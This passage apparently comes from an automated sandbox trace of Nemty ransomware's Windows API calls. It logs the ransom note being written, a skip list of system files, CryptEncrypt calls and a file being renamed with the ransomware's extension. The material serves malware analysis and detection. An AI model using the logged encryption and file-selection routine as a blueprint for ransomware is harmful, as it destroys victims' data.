(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0123.677] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0123.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0123.677] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.677] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0123.678] CloseHandle (hObject=0x254) returned 1 [0123.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0123.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0123.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfd5cd9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd5cd9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0123.679] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0123.679] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfd5cd9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd5cd9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0123.679] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0123.679] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0123.679] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2=".") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="..") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="...") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="windows") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="$RECYCLE.BIN") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="rsa") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="NTDETECT.COM") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="ntldr") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="MSDOS.SYS") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="IO.SYS") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="boot.ini") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="boot.ini") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="AUTOEXEC.BAT") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="ntuser.dat") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="desktop.ini") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="CONFIG.SYS") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="RECYCLER") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="BOOTSECT.BAK") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="bootmgr") returned 1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="programdata") returned -1 [0123.679] lstrcmpiW (lpString1="cpu.css", lpString2="appdata") returned 1 [0123.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0123.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.css", lpUsedDefaultChar=0x0) returned 7 [0123.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0123.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.css", lpUsedDefaultChar=0x0) returned 7 [0123.679] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0123.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.css", lpUsedDefaultChar=0x0) returned 7 [0123.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0123.680] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cpu.css", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cpu.css", lpUsedDefaultChar=0x0) returned 7 [0123.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0123.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0123.680] Sleep (dwMilliseconds=0x5) [0123.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfd5f3b10, dwHighDateTime=0x1d561e7)) [0123.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xfd5f3b10, dwHighDateTime=0x1d561e7)) [0123.690] GetLastError () returned 0xb7 [0123.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0123.690] GetLastError () returned 0xb7 [0123.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0123.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0123.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0123.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0123.691] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0123.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340378 [0123.691] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340378, pcchString=0x653e5dc | out: pszString="j0Xxa0X/0FqrxIvLnisGGryRiHQukX/5vJ20y24zXGkOEc+OFeeMXYSD4CZXYMlb\r\nX2Tu8Wg1xMByqf87/R1ddXxpYt/GoqBqP8rf54Liea8MKv7REd3t4auh/IJVoCdv\r\nOPTNuIvHMvR94+KutgxcynVahNEg7dO3zPBWSgZCZcYDAnoQFuWfwgVPyVELXgYI\r\nh0CeIiiYNZ7GK16kb7mqaOtJ3JHhpfVbwgi2hBOQb0rIlMS1CqCrxY7XBMpxPl3Z\r\n3UEcUolClEfwVJFf1FNuM1h8etVXdGYaUTrmAic0qxC7me/fW6yxyekG0Y7GTSpJ\r\nTZZhl6oeB4yaqSGuSTXAPg==\r\n", pcchString=0x653e5dc) returned 1 [0123.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0123.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0123.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0123.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340378 [0123.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0123.691] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0123.694] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0123.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0123.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.777] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.777] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.777] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0123.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340378, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0123.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.807] CloseHandle (hObject=0xffffffff) returned 0 [0123.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0123.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0123.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0123.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0123.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css._nemty_kgobjgd_")) returned 0 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.808] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd5cd9b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfd5cd9b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfd5cd9b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0123.808] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0123.808] lstrcmpiW 